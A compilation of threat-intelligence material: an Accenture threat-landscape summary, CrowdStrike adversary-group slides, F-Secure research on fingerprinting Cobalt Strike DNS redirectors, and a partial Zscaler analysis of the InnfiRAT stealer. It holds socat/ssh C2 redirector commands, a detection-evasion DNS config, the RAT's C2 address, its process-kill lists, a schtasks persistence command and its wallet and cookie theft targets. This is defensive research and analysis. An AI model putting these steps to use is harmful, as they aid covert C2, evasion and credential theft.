To take full advantage of the world stage, threat actors are paying even closer attention to important global events and are using them as distractions or lures to breach target networks. Accenture iDefense has seen a sharp decline in “true” hacktivism and is instead seeing more state-sponsored hacktivism with goals to disrupt events and influence a wide range of activities in the sponsoring nation’s favor. Nation-states are increasingly outsourcing malicious cyberoperations to cybercriminals to increase their capabilities and attain strategic goals—blurring lines between politically and financially motivated cyberthreat activities.
In such a climate, advances in technology such as artificial intelligence and fifth-generation cellular network technology (5G) communications could provide new opportunities for threat actors to achieve their objectives. Cyberdefenders should look more closely at how they monitor their supply chain and business partners in tandem with their own security efforts. Many threat actors are circumnavigating target networks by trying to breach them via the networks of trusted partners, business associates, and other third-party networks. As ever, cybercriminals are persistent and inventive—if they can’t get in one way, they will keep trying until they find another.
From an operational perspective, Accenture iDefense has seen how some attackers are continuing to focus on infecting legitimate software applications with malicious code to try to accomplish supply chain compromises. But they are also making subtle changes to how they work and who is part of their inner circle. After several high-profile law enforcement takedowns, threat actors have started to close doors on the open sharing of malware and exploits and, instead, are sharing within only smaller, trusted syndicates.
The majority of hackers still rely on human error as the main way to breach networks; however, with increased awareness of domain-squatting and phishing, the returns for such attack methods have decreased. Even so, some tried and tested methods are far from being abandoned. Threat actors continue to use “living off the land” tools and non-malicious software, such as Remote Desktop Protocol (RDP) and PowerShell, in malicious ways to attempt to avoid detection.
From a tactical perspective, Accenture iDefense notes that ransomware attacks have risen as one of the key destructive tools used for financial gain, with attackers seeking extortion alongside sabotage and destruction. Many threat actors are reusing existing malware in new ways or using new types of malware to exploit different types of vulnerabilities. Threat actors are continuing to abuse code-signing techniques by using stolen digital certificates to sign their malicious files and malware to avoid detection.
Further technical impact is being experienced as a result of the proliferation of the use of cloud computing. This open and popular environment has prompted security researchers and adversaries to look for risk in the cloud infrastructure, leading to the discovery of multiple side-channel vulnerabilities in modern computer microprocessors (CPUs) over the last two years. Such vulnerabilities pose a high risk to organizations as adversaries help themselves to better access to sophisticated and sensitive data.
In the 2017 and 2018 Threatscape reports, Accenture iDefense stated that organizations need to enhance their threat intelligence capabilities to stay ahead of cyberthreats, rather than just activate their incident response plans when their networks are breached. In 2019, this recommendation has not changed—and is unlikely to change in the foreseeable future.
In the past year, cybercriminals have continued to test the resilience of organizations and governments by layering attacks, updating techniques, and establishing new, intricate relationships to better disguise their identities. It is no longer enough to plan for attacks or understand what to expect. To help reduce business risks, organizations need to make a security pivot of their own. By pivoting their approach to security on a regular basis, they can keep up-to-date with the shifting threat landscape, organizations’ adversaries and those adversaries’ TTPs, and be better placed to achieve cyberresilience.
## What’s Inside?
The 2018 Cyber Threatscape report noted the clear need for more effective use of actionable threat intelligence. With state-sponsored activities a growing force to be reckoned with, extended supply chain threats, targets against critical infrastructure, and a surge in miner malware and more financially motivated advanced persistent threats, CISOs have had their work cut out to budget and act effectively.
Strong investment in cybersecurity has not been lacking. But despite these investments, the relentless creativity of cybercriminals continues to put pressure on organizations to be defense ready. Threat intelligence provides the right information to make better business decisions. But the scope of that intelligence is growing. Businesses could start evaluating their cyberpostures from many different perspectives—the cyberposture of suppliers, partners, and acquisition targets are just as important as their own organizations to avoid opening up new security gaps or inviting in threat actors who are dormant or active on third-party networks.
The 2019 Cyber Threatscape report has discovered five factors that are influencing the cyberthreat landscape:
1. **Compromising geopolitics: New threats emerge from disinformation and technology evolution**
Global businesses may find themselves in the crosshairs as geopolitical tensions persist. As cyberthreat actors take advantage of high-profile global events and seek to influence mass opinion, we can expect these actors to not only sustain current levels of activity but also to take advantage of new capabilities as new technologies enable more sophisticated threat TTPs. Geopolitical analysis and a strategic-level understanding of the events that motivate cyberthreats to action can help businesses manage known threats and allocate resources in anticipation of emerging threats.
2. **Cybercriminals adapt, hustle, diversify and are looking more like states**
Despite high-profile law enforcement actions against criminal communities and syndicates in 2018, the ability of threat actors to remain operational highlights the significant increase in the maturity and resilience of criminal networks in 2019. Our analysis indicates conventional cybercrime and financially motivated, targeted attacks will continue to pose a significant threat for individual Internet users and businesses. However, criminal operations will likely continue to shift their tactics to reduce risks of detection and disruptions. They could also attempt to maximize the return on effort in several ways such as: shifting away from partnerships to operating within close-knit syndicates; taking advantage of familiarity with the local environment; increasing the precision of targeting by using legitimate documents to identify likely victims before delivering malware; or selling and buying direct access to networks for ransomware delivery rather than carrying out advanced intrusions.
3. **Hybrid motives pose new dangers in ransomware defense and response**
The ransomware threat will be exacerbated further by the sale of access to corporate networks—through which an attacker can deploy ransomware on a corporate-wide scale—and the potential of ransomware with self-propagating abilities (such as WannaCry) to reemerge could pose a significant threat to businesses, particularly those with time-critical operations. While the motives behind such an attack may appear to be financial, targeted ransomware attacks may at times serve hybrid motives, whether financial, ideological, or political. Regardless of motive, while the ransomware threat remains, organizations must ensure they take adequate measures to prepare, prevent, detect, respond, and contain a corporation-wide ransomware attack. Considering the possibility that an apparently financially motivated ransomware attack may in fact serve other purposes, a ransom payment may not guarantee the restoration of company data; therefore, companies should plan for the recovery of operations, even in the event of a disruptive loss of data.
4. **Improved ecosystem hygiene is pushing threats to the supply chain, turning friends into frenemies**
The global interconnectedness of business, the wider adoption of traditional industry cyberthreat countermeasures, and improvements to basic cybersecurity hygiene appear to be pushing cyberthreat actors to seek new avenues to compromise organizations, such as targeting their supply chains—including those for software, hardware, and the cloud. Organizations should routinely seek full awareness of their threat profiles and points of supply chain vulnerability. Organizations can try to improve processes that guard against the cybersecurity risks inherent in the landscape of modern global business operations by integrating cyberthreat intelligence into M&As and other strategically important actions, incorporating vendor and factory testing into their processes, and implementing industry-focused regulations and risk assessment standards.
5. **Life after meltdown: Vulnerabilities in compute cloud infrastructure demand costly solutions**
The discovery of multiple side-channel vulnerabilities in modern CPUs over the last two years could pose a high risk to organizations running their compute infrastructure in the public cloud. Adversaries can use this class of side-channel vulnerabilities to read sensitive data from other hosts on the same physical server. Mitigations are available for most platforms, cloud deployments, and software. However, most of the mitigations come at a cost of reduced performance, leading to a potential increase of compute costs for enterprises. Understanding the threats posed by CPU vulnerabilities is important to design a proper risk mitigation strategy, which can be vastly different for each organization.
In this report, Accenture iDefense offers leading practices to consider for mitigating ransomware, suggestions regarding employee cybersecurity training, evaluations of international events coming up in the next 12 months, and outlines which threat actors might use such events for nefarious purposes. Accenture iDefense aims to help its clients, partners, and community members by providing this information so that they can stay ahead of threats pertinent to their businesses, industries, and geographies. |
# You Have an Adversary Problem. Who's Targeting You and Why?
Nation-States, Hacktivists, Industrial Spies, and Organized Criminal Groups are attacking your enterprise on a daily basis. Their goals range from espionage for technology advancement and disruption of critical infrastructure to for-profit theft of trade secrets and supporting a political agenda. You no longer have a malware problem; you have an adversary problem, and you must incorporate an intelligence-driven approach to your security strategy.
## During this CrowdCast, you will learn how to:
- Incorporate Actionable Intelligence into your existing enterprise security infrastructure
- Quickly understand the capabilities and artifacts of targeted attack tradecraft
- Gain insight into the motivations and intentions of targeted attackers
- Make informed decisions based on specific threat intelligence
## Adversary Categorization
### Adversary Groups
1. Tactics, Techniques, and Practices
2. Never assume relationships exist between indicators
3. Recognize adversaries are constantly changing
4. Recognize they are human
### Intelligence: Adversary Groups
- **CHINA**: Anchor Panda, Comment Panda, Impersonating Panda, Temper Panda, Keyhole Panda, Aurora Panda, Stone Panda, Vixen Panda, Union Panda, Poisonous Panda, Pirate Panda, Dagger Panda, Violin Panda, Putter Panda, Test Panda, Gibberish Panda, Electric Panda, Wet Panda, Karma Panda, Dynamite Panda, Radio Panda, Samurai Panda, Toxic Panda, Numbered Panda, Pitty Panda, Foxy Panda, Deep Panda
- **IRAN**: Clever Kitten (Energy Companies), Cutting Kitten (For Hire)
- **NORTH KOREA**: Silent Chollima (Energy Companies)
- **RUSSIA**: Energetic Bear (Oil and Gas Companies)
- **INDIA**: Viceroy Tiger (Government, Legal, Financial, Media, Telecom)
### Notable Activity – Q3
- **NEW ADVERSARIES**: Stone Panda, Nightshade Panda, Goblin Panda, Corsair Jackal
- **NOTABLE ACTIVITY**: Deadeye Jackal, Numbered Panda, Silent Chollima
### Intelligence: Stone Panda
- **Operational Window**: May 2010 to Present
- **Targeting**: Healthcare, Defense, Aerospace
- **Objectives**: Recon, Lateral movement, Data exfiltration
- **Tools**: Poison Ivy RAT, IEChecker/EvilGrab
### Intelligence: Nightshade Panda
- **Operational Window**: Feb 2008 to Present
- **Targeting**: Media, NGO/Int’l Relations, Universities
- **Objectives**: Recon, Lateral movement, Data exfiltration
- **Tools**: Poison Ivy, PlugX
### Intelligence: Goblin Panda
- **Operational Window**: July 2012 to July 2013
- **Targeting**: Aerospace, Defense, Energy, Government, Shipping
- **Objectives**: Recon, Lateral movement, Data exfiltration
- **Tools**: Spearphishing using office doc, ZeGhost specific mutexes
### Intelligence: Corsair Jackal
- **Operational Window**: February 2013 to May 2013
- **Targeting**: Energy, Financial, Government, Shipping, Telecom
- **Objectives**: Information Disclosure
- **Tools**: Cross Site Scripting (XSS)
### Intelligence: Deadeye Jackal
- **Operational Window**: May 2011 to Present
- **Targeting**: Financial Institutions, Media/News, Social Network Platforms
- **Objectives**: Propaganda, Disinformation, Disruption
- **Tools**: Spearphishing, Web Exploitation, Facebook Spamming
### Intelligence: Numbered Panda
- **Operational Window**: 2009 - Present
- **Targeting**: Government, Financial, Telecom, Technology, Media
- **Objectives**: Recon, Lateral movement, Data exfiltration
- **Tools**: Spearphishing, Dynamic Calculation
### Intelligence: Silent Chollima
- **Operational Window**: 2007 to Present
- **Targeting**: Multiple targets in ROK, Global Targets of Opportunity
- **Objectives**: Recon, Criminal Monetization, Lateral movement, Data Destruction
- **Tools**: Custom Malware
## Intelligence-Driven Security
1. Understand the adversaries targeting your vertical, company, geo-location, and customers.
2. Build appropriate defenses to counter/detect these adversaries.
3. Perform other security practices from an adversary-centric perspective: Pen Testing (Red Team), Security Operations, Briefings, Log Review.
## Resources
Next up: Enterprise Activity Monitoring - The Power to HUNT, November 5th | 2PM ET/11AM PT. For additional information, contact [email protected].
## Q&A
Please type all questions into the Q&A section of the GoToWebinar Control Panel. If you have additional questions, contact us at [email protected]. |
# Detecting Exposed Cobalt Strike DNS Redirectors
## Intro
Cobalt Strike is a well-known framework used to perform adversary simulation exercises by offensive security professionals. Its flexibility and broad feature set have made it the de facto framework for red team operations.
Cobalt Strike's implant, known as "beacon", has the ability to communicate back to a Command & Control (C2) server using different protocols:
- **HTTP/HTTPs** - where the data exchanged between the implant and the C2 server is packaged inside an HTTP request.
- **SMB** - used mostly for peer-to-peer communication, this channel uses the SMB protocol to blend in with the regular traffic you might see on an internal Windows-based network.
- **TCP** - with a similar purpose to the SMB channel, but using plain TCP sockets. Useful for lateral movement in situations where SMB is restricted or heavily monitored. Can also be used for privilege escalation purposes.
- **DNS** - using a variety of DNS queries, Cobalt Strike's beacons can communicate back to the C2 server using only DNS. The advantage is that name resolution is almost always allowed and no direct communication takes place between the implant and the C2 server, since the DNS resolution will happen using the default nameservers.
- **Custom** - using the well-documented External C2 protocol, it is possible to develop custom communication mechanisms that will allow an operator to rely on Cobalt Strike's post-exploitation capabilities but not be bounded by the existing channels. A popular example of this is F-Secure's C3 framework.
This research will focus on some of the active detections that can be used to fingerprint exposed Cobalt Strike servers that are using DNS as a communication channel. Although the research approach will be a bit different, the outcome will be similar to what JARM did for HTTP/HTTPs restricted to the scope of Cobalt Strike.
## DNS Redirectors
Before jumping in the actual detection logic, it is important to understand how the standard DNS server within Cobalt Strike is deployed for an operation. The concept of a "redirector" is something that was introduced to further harden the attack infrastructure and decouple what is exposed by the attacked component and the actual C2 servers. This grants the operator greater flexibility in case any of their internet-facing endpoints get "burned" during the attack; in fact, spinning up a new redirector can take hours if not minutes whilst rebuilding a new C2 server might have a greater impact on the operations.
Typically, the standard Cobalt Strike DNS redirector is created using either socat or iptables. The official documentation suggests those as the go-to tools for creating DNS-based redirectors.
As an example, the following commands can be used to create a simple redirector for DNS:
```bash
# socat will listen on TCP 5353 and redirect to cobalt strike's DNS server
socat tcp4-listen:5353,reuseaddr,fork UDP:127.0.0.1:53
# port 5353 will be exposed via an SSH tunnel on the external redirector
ssh [email protected] -R 5353:127.0.0.1:5353
# on the redirector, socat will listen on 53 and forward the data to the SSH tunnel,
# that eventually will reach the C2 server
socat udp4-listen:53,reuseaddr,fork tcp:localhost:53535
```
The creation of a DNS listener within Cobalt Strike will not be covered as it is outside the scope of this research. For more details, it is recommended to check out Steve Borosh's work.
The resulting communication flow will look like the one schematized below. The setup can be validated by querying the hostname that was initially configured for DNS C2. If the setup is working properly, the DNS response should be the one configured in the `dns_idle` malleable profile option, and by default, it's equal to "0.0.0.0":
```bash
nslookup malware.c2
```
**Non-authoritative answer:**
```
Name: malware.c2
Address: 0.0.0.0
```
The "0.0.0.0" reply, as previously said, is Cobalt Strike's default and as every default value, should be changed.
## The Detection
The research that F-Secure conducted is based on the following statement:
Cobalt Strike's DNS listeners will reply using the value defined in the `dns_idle` field regardless of the query received, as long as it is not part of a C2 communication.
In fact, the `dns_idle` field is used by the beacon as a heartbeat to check in for new tasks. The "problem" is that the default DNS server will reply using that value to all the other queries for other domains as well.
The hypothesis is that if a DNS server replies to all the queries with always the same IP address, it might be an indicator of the presence of Cobalt Strike. Of course, this approach is not free of false positives, and part of the research was to quantify the fidelity of this mechanism.
It was possible to validate our hypothesis using a live Cobalt Strike server:
```bash
dig @70.35.206.199 +short amazon.com
0.0.0.0
dig @70.35.206.199 +short google.com
0.0.0.0
dig @70.35.206.199 +short nonexistent.domain
0.0.0.0
dig @70.35.206.199 +short -t TXT google.com
0.0.0.0
```
As it is possible to see, the server replied to all the queries with "0.0.0.0", the default `dns_idle` value. This approach would have worked even if the default value was changed, since all the queries would still return the same value. The interesting aspect was that even for queries different than "A", Cobalt Strike still returned an "A" record. This broke the parsing logic of most of the common libraries for name resolution. The snippet below shows an example of that:
```bash
dig TXT test @35.178.76.239
```
```
; <<>> DiG 9.10.6 <<>> TXT test @35.178.76.239
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45988
;; flags: qr rd ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;test. IN TXT
;; ANSWER SECTION:
test. 1 IN A 8.8.8.8
;; Query time: 97 msec
;; SERVER: 35.178.76.239#53(35.178.76.239)
;; WHEN: Tue Mar 23 10:11:00 CET 2021
;; MSG SIZE rcvd: 42
```
In order to avoid higher-level parsing logic, the Scapy library was used to forge raw DNS packets and build an automated scanner. The snippet below shows the core function where the packets are sent and the responses are compared:
```python
def checkDNS(name):
ip = name
try:
ans = sr1(IP(dst=ip)/UDP(sport=RandShort(), dport=53)/DNS(rd=1, qd=DNSQR(qname="google.com", qtype="TXT")), verbose=False, timeout=0.5)
ansTXT = ans[DNSRR][0].rdata
ans = sr1(IP(dst=ip)/UDP(sport=RandShort(), dport=53)/DNS(rd=1, qd=DNSQR(qname="amazon.com", qtype="A")), verbose=False, timeout=0.5)
ansA1 = ans[DNSRR][0].rdata
ans = sr1(IP(dst=ip)/UDP(sport=RandShort(), dport=53)/DNS(rd=1, qd=DNSQR(qname="google.com", qtype="A")), verbose=False, timeout=0.5)
ansA2 = ans[DNSRR][0].rdata
if ansTXT == ansA1 and ansA1 == ansA2 and ansA2 != '' and valid_ip(ansA1):
print("[+] Cs Detected: " + ip + " replied with: " + ansTXT)
except Exception as e:
pass
```
The code is quite self-explanatory and simply translates the initial hypothesis into actual Python code. The rest of the script's functionalities only added multi-threading and better output formats, but the main logic is the one shown above.
The scanner was tested against a small subset of data, specifically using all the HTTP servers exposed on the internet that had a JARM signature equal to the default Cobalt Strike C2 server. The data was gathered using the beta version of Shodan:
```bash
# add shodan query
shodan parse --fields ip_str e5a2e2e7-e029-4b10-a5f8-63687aa7a09c.json.gz > cobalt.txt
```
The results against the initial dataset were positive, with multiple matches:
```bash
python scan.py ~/Downloads/cs-dns.txt
[+] Cs Detected: 24.252.133.75 replied with: 10.0.0.1
[+] Cs Detected: 193.202.92.36 replied with: 193.202.92.36
[+] Cs Detected: 194.204.33.130 replied with: 127.53.53.53
[+] Cs Detected: 194.62.33.31 replied with: 192.168.33.31
[+] Cs Detected: 5.8.16.29 replied with: 72.5.65.111
[+] Cs Detected: 37.191.180.47 replied with: 37.191.180.47
[+] Cs Detected: 35.178.76.239 replied with: 8.8.8.8
[+] Cs Detected: 85.27.174.244 replied with: 85.27.174.244
[+] Cs Detected: 70.35.206.199 replied with: 0.0.0.0
[+] Cs Detected: 209.9.227.212 replied with: 209.9.227.212
[+] Cs Detected: 175.176.185.229 replied with: 103.60.101.170
[+] Cs Detected: 179.191.84.68 replied with: 10.0.0.1
```
## Internet Wide Survey
Scanning what is already known to be bad is funny, but only to a certain extent. The next step of the research was to expand the scope of our analysis to the whole internet. In order to obtain the needed results, it was necessary to perform an internet-wide scan of all the hosts that exposed the port 53/UDP. Instead of manually doing the scan, it was decided to use Project Sonar's dataset, which already collected the information needed. This allowed us to reduce the scope of the scan from billions of IPs to something around 7 million records. This was found to be particularly useful considering that the detection used a UDP-based protocol, which in general is slower and not as reliable as TCP.
Running our scanner against the dataset produced approximately 1400 results, a number that we believed to be too high and needed further validation and false positive checks. We started the result sanitization by filtering out the hosts that presented additional Cobalt Strike specific behavior, such as:
- Having port 50050 open
- Replying with a 404 status code on HTTP/S and 0 as content length, a distinct sign of the Cobalt Strike's default malleable profile
- Having a matching JARM signature
- Having staging enabled, and it was possible to retrieve the Beacon configuration from an open HTTP port
- Replying with "0.0.0.0", the default "dns_idle" value
The results of the process were the following:
- 24 IPs also exposed port 50050
- 49 presented the default Cobalt Strike's HTTP response
- 27 Cobalt Strike servers had staging enabled, that allowed F-Secure to retrieve the beacon's config
- 91 servers replied with "0.0.0.0"
- 16 servers had the "07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1" JARM signature, indicative of Cobalt Strike
Amongst the 1400 results, 122 had a high probability of being Cobalt Strike servers, due to the presence of one or more of the signatures above. Upon further investigation of the beacon configurations extracted using this extremely useful Nmap script, a recurring pattern using 8.8.8.8 as `dns_idle` was noticed:
```json
{
"x64":{
"md5":"26dca1f00735af2e11d856cdbc239a72",
"sha1":"0f964782e58ac43ab0433b7cbb007295eed1bcd1",
"time":1616664618025.3,
"config":{
"Port":80,
"Beacon Type":"0 (HTTP)",
"Polling":50000,
"Pipe Name":"",
"User Agent":"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident\\/5.0; IEMobile\\/9.0; LG; LG-E906)",
"Jitter":15,
"Header 1":"",
"Method 2":"POST",
"Spawn To x86":"%windir%\\\\syswow64\\\\rundll32.exe",
"C2 Server":"[REDACTED],\\/_\\/scs\\/mail-static\\/_\\/js\\/",
"Method 1":"GET",
"Spawn To x64":"%windir%\\\\sysnative\\\\rundll32.exe",
"Max DNS":255,
"Header 2":"",
"HTTP Method Path 2":"\\/mail\\/u\\/0\\/",
"DNS Sleep":0,
"DNS Idle":"8.8.8.8"
},
"sha256":"ce4d2de8d28423bc975b7792b69722e8b8e01c01c723f43e494709062fcdb550"
},
"x86":{
"md5":"d836ddfcb06c1959d002fabd70aff8fd",
"sha1":"7d8c5d34da8a0ece4fcda322a1c814b285d4b8f8",
"time":1616664587530.2,
"config":{
"Port":80,
"Beacon Type":"0 (HTTP)",
"Polling":50000,
"Pipe Name":"",
"User Agent":"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; BTRS125526)",
"Jitter":15,
"Header 1":"",
"Method 2":"POST",
"Spawn To x86":"%windir%\\\\syswow64\\\\rundll32.exe",
"C2 Server":"[REDACTED],\\/_\\/scs\\/mail-static\\/_\\/js\\/",
"Method 1":"GET",
"Spawn To x64":"%windir%\\\\sysnative\\\\rundll32.exe",
"Max DNS":255,
"Header 2":"",
"HTTP Method Path 2":"\\/mail\\/u\\/0\\/",
"DNS Sleep":0,
"DNS Idle":"8.8.8.8"
},
"sha256":"52029626c23dc2cd60f65e0bfa087021f0ee4d96ed0259a6e03cd7ff2fd471ac"
}
}
```
It was decided to include that value as another possible indicator, that brought the total number of Cobalt Strike servers to 135. The remaining number of servers were split into the following categories:
- False positives, we identified that some home router versions acted in a similar way as Cobalt Strike's DNS server. Those could be false positives or actual CS servers.
- Cobalt Strike DNS servers that changed the default `dns_idle` value and did not host an HTTP server on the same IP address.
- DNS sinkholes and honeypots. Despite efforts were made to avoid this, it is possible that some DNS servers acted in a similar way to Cobalt Strike.
The complete scan results will be posted after the release of this blog post, alongside with the source code of the scanner.
## Hardening for Red Teamers
The root cause that allowed us to perform this research is that the DNS redirector is "dumb", meaning that it forwards DNS requests to Cobalt Strike without any logic. If, for example, we examine the evolution of HTTP-based redirectors we see that using socat or iptables was quickly abandoned in favor of better alternatives such as Apache with mod_rewrite or Nginx.
The problem is that we haven't seen the same approach applied to DNS redirectors. A possible solution would be to create a "smart" redirector capable of proxying DNS requests to specific DNS servers based on the domain name that is being requested. We found that using open source DNS servers, such as CoreDNS, solved the issue. In fact, using a "Corefile" such as the one shown below, it would be possible to avoid this trivial detection:
```plaintext
. {
forward . 9.9.9.9
}
malware.c2 {
forward . malware.c2:5353
}
```
CoreDNS can then be deployed on an internet-exposed VPS and act as a "smart" redirector. This configuration will proxy to Cobalt Strike only the requests made for the "malware.c2" domain, everything else will be resolved using the "9.9.9.9" public resolver.
## Conclusions
The research showed one of the many approaches that can be used to track Cobalt Strike servers exposed on the internet. Whilst not perfect, this can certainly be used to enrich threat intelligence data to achieve better detections.
For red teamers and penetration testers that use either Cobalt Strike or any other C2 framework that supports DNS, we provided an approach that can be used to build better and smarter DNS redirectors using open source tools. |
# InnfiRAT: A new RAT aiming for your cryptocurrency and more
Recently, the Zscaler ThreatLabZ team came across a new RAT called InnfiRAT, which is written in .NET and designed to perform specific tasks from an infected machine. This blog provides an analysis of this new RAT, including the way it communicates, all the tasks it performs, and the information it steals.
## Background
As with just about every piece of malware, InnfiRAT is designed to access and steal personal information on a user's computer. Among other things, InnfiRAT is written to look for cryptocurrency wallet information, such as Bitcoin and Litecoin. InnfiRAT also grabs browser cookies to steal stored usernames and passwords, as well as session data. In addition, this RAT has screenshot functionality so it can grab information from open windows. For example, if the user is reading email, the malware takes a screenshot. It also checks for other applications running on the system, such as an active antivirus program.
InnfiRAT sends the data it has collected to its command-and-control (C&C) server and requests further instructions. The C&C can also instruct the malware to download additional payloads onto the infected system.
## Technical analysis
1. Before executing the main payload, the malware initially checks whether the file is executing from the %AppData% directory or not with the name NvidiaDriver.exe. If not, then a web request is sent to “iplogger[.]com/1HEt47" (possibly to check network connectivity).
2. It records all the running processes in an array, then iterates through each process and checks whether any process is running with the name NvidiaDriver.exe. If so, the malware kills that process and waits for an exit.
3. InnfiRAT copies itself as %AppData%/NvidiaDriver.exe and executes it from %AppData% before terminating the current process.
4. After confirming the path of file execution, it writes a Base64 encoded PE file in memory, which is later decoded in its actual format and is loaded after changing the entry point of the file. This is also a .NET executable and contains the actual functionality of the malware.
## Analysis of embedded .NET executable
All the strings inside the file are encoded with a custom encoding scheme that utilizes the XOR operation. As the execution of the malware starts, it checks for the presence of a VM environment. It does so by checking the return value from the routine JкыnеюwPреюLLщzьhdкXoJxбюHхрйFWрDлнруG7574208083337. If the return value is equal to the first value, enum[0], defined in the enum shown below, then it continues the execution or else it terminates.
After performing the VM checks, the malware obtains the country and HWID information of the machine it is running on. To obtain the country information, it calls the routine EjarVhXфf8752612307563884480() [FetchNetworkInfo] and fetches the Country key value from the returned data in JSON format. Similarly, to obtain the HWID, it calls the routine ubобмдGogBлzWKrgrыaZucвлC33208440168().
### Anti-VM checks
Inside the JкыnеюwPреюLLщzьhdкXoJxбюHхрйFWрDлнруG7574208083337() [VMDetection] routine:
1. Performs WMI query to obtain the following information:
- "Manufacturer"
- "Caption"
- "Name"
- "ProcessorId"
- "NumberOfCores"
- "NumberOfLogicalProcessors"
- "L2CacheSize"
- "L3CacheSize"
- "SocketDesignation"
It then checks, one-by-one, if the manufacturer contains one of the below-mentioned strings and returns the value from the enum as specified:
- “VBoxVBoxVBox” returns enum[2]
- “VMwareVMware” returns enum[1]
- “Prl hyperv” returns enum[3]
- “Microsoft Corporation” returns enum[4]
2. WMI query is performed again but this time to obtain the following information:
- "DeviceID"
- "MediaType"
- "Model"
- "PNPDeviceID"
- "SerialNumber"
A check is performed if the PnpDeviceId contains one of the below strings and returns the value from the enum as specified:
- “VBOX_HARDDISK” returns enum[2]
- “VEN_VMWARE” returns enum[1]
If none of the above conditions match, it returns enum[0].
### Machine network information
Inside the EjarVhXфf8752612307563884480() [FetchNetworkInfo] routine:
A web request is sent to the following URL https://ipinfo[.]io/json and the received data is returned from the function. The received data contains the following information:
- "ip"
- "city"
- "region"
- "country"
- "loc"
- "postal"
- "org"
### Network communication
Inside the мMлFкCцеGPбiбqюK1559516831() [CreateDuplexChannel] routine:
InnfiRAT sets up a duplex channel with the name “IVictim” using DuplexChannelFactory tcp://62[.]210[.]142[.]219:17231/IVictim.
After forming the duplex channel with the name IVictim, it uses the IVictim interface, which contains the following methods:
- “Subscribe”
- “CompleteTask”
- “GetDlls”
- “AvailableTasks”
Inside the SуkdVkцiшkUояUuчPуюяmмuty187968776() [SubscribeVictim] routine:
InnfiRAT calls the subscriber method from the IVictim interface with login = “innfiniti”.
Inside the хaxeYхсиghIжNпDмвQюwkуpкgимuбсфbnдбMвMC67210633684721828() [GetAndExecuteSpecifiedTask] routine:
InnfiRAT obtains the tasks inside a UserTask list by invoking AvailableTasks where UserTask has the following keys:
- “ID”
- “Action”
- “URL”
- “FinalPoint”
- “Current”
- “Status”
- “Country”
- “RunSilent”
- “Argument”
It iterates through each task. On each iteration, it first checks for the country value received to be equal to “ALL” OR the one present in the BasicInfoVictim class, which was obtained earlier AND the action to perform is "DownAndEx" and the URL value is available. If the above conditions match, then the CompleteTasks method is called with three arguments:
- “login”
- “hwid”
- “TaskID”
The RAT calls the routine rLPсаWFоWcTjzпTэBFWkъмзтшпD147152108377454681517643543() [ExecuteFile] with three arguments to execute the file.
- Arg1 = Path of the file to be executed [obtained from the URL]
- Arg2 = Arguments to the file to be executed [obtained from Argument key of current UserTask element]
- Arg3 = true/false [Obtained from RunSilent key of current UserTask element]
After iterating all items in the UserTask list, it sleeps for 30,000 milliseconds.
### Process checks
Inside the LlсiсkнwychhVзjзNзxрFrUOE4656655235232302206601527615541285() [ProcessCheck] routine:
All the running processes in the system are obtained, their names are converted to lowercase and then a check is performed to see if the name matches with any of the following strings:
- “taskmgr”
- “processhacker”
- “procmon”
- “procexp”
- “pchunter”
- “procexp64”
If there are any matches, the process terminates.
Inside wYxйыrоyTHuLдTч212065() [KillProcesses] routine:
InnfiRAT obtains the list of all processes running in the system and kills any process whose name contains one of the following strings:
- “chrome”
- “browser”
- “firefox”
- “opera”
- “amigo”
- “kometa”
- “torch”
- “orbitum”
### Scheduled execution
Inside the эйviMhйсuьZCпJфшcкLйшuв348374() [ScheduleMalwareExecution] routine:
The CMD (cmd.exe) command string is constructed and executed to schedule the malware execution. The command string looks like below:
`/C schtasks /create /tn WindowsUpdater /tr "%AppData%NvidiaDriver.exe " /st HH:mm /du 9999:59 /sc daily /ri 1 /f`
### C&C commands
Here are some tasks performed by the malware based on the commands received from the C&C server:
1. **SendUrlAndExecute(string URL)**
InnfiRAT downloads the file from the specified URL by calling the routine жRfаeQbrwйfsLGыhчUrEжьFхaяGчрлCдtGжSofьQvдnIмs8383484343838630833542717281211() [DownloadFileFromUrl]. Inside this routine, a directory is first created with the name TEMP inside the %AppData% if it doesn’t exist. Then the file is downloaded and saved inside this folder with the name extracted from the passed URL. Once the download is complete, it calls the routine rLPсаWFоWcTjzпTэBFWkъмзтшпD147152108377454681517643543() [ExecuteFile] with three arguments to execute the downloaded file.
2. **ProfileInfo()**
Inside the routine, it collects the following information:
- “NetworkInfo”:{
- "ip"
- "city"
- "region"
- "country"
- "loc"
- "postal"
- "org"
}
- “PCAdmin”
- “PCInformation” :{
- “FrameWorkDescription”
- “Processors”
- “PRocessorsCore”
- “VideoCards”
}
It then sends the information to the C&C server.
3. **LoadLogs()**
It calls the GetDlls() routine, which obtains information inside a list of type DownloadDll where DownloadDll has two keys:
- “Path” represents a relative path to an .exe file
- “ByteArray” binary data
After fetching the list, InnfiRAT traverses each element inside the list via a for-loop. Inside the for-loop, the value of the Path key is split using delimiter “\\”. A check is performed if no file exists specified by Path key in the executing module directory. If the check is true, it creates the file and writes the value of ByteArray to this created file. The routine wYxйыrоyTHuLдTч212065() [KillProcesses] is called. Finally, data obtained from UserProfile() is sent to the C&C server.
4. **LoadCookies()** - Steal Browser Cookie information
InnfiRAT calls the GetDlls() routine, which obtains information inside a list of type DownloadDll where DownloadDll has two keys:
- “Path” represents a relative path to an .exe file
- “ByteArray” binary data
After fetching the list, the malware traverses each element inside the list via for-loop. It creates an empty list of BrowserCook type where BrowserCook has two keys, namely:
- “CookiePaths”
- “BrowserName”
The name and corresponding cookie path are retrieved for the following browsers one by one:
- “Chrome”
- “Yandex”
- “Kometa”
- “Amigo”
- “Torch”
- “Orbitum”
- “Opera”
- “Mozilla”
The harvested BrowserCookie list is then sent to the C&C server and the temporary file and directory are deleted.
5. **LoadWallets()** - Steal Bitcoin Wallets
The malware creates an empty list of the BitcoinWallet type where BitcoinWallet has two keys, namely:
- “WalletArray”
- “WalletName”
A check is performed to see if a file for a Litecoin or Bitcoin wallet is present in the system at the following location:
- Litecoin: %AppData%\Litecoin\wallet.dat
- Bitcoin: %AppData%\Bitcoin\wallet.dat
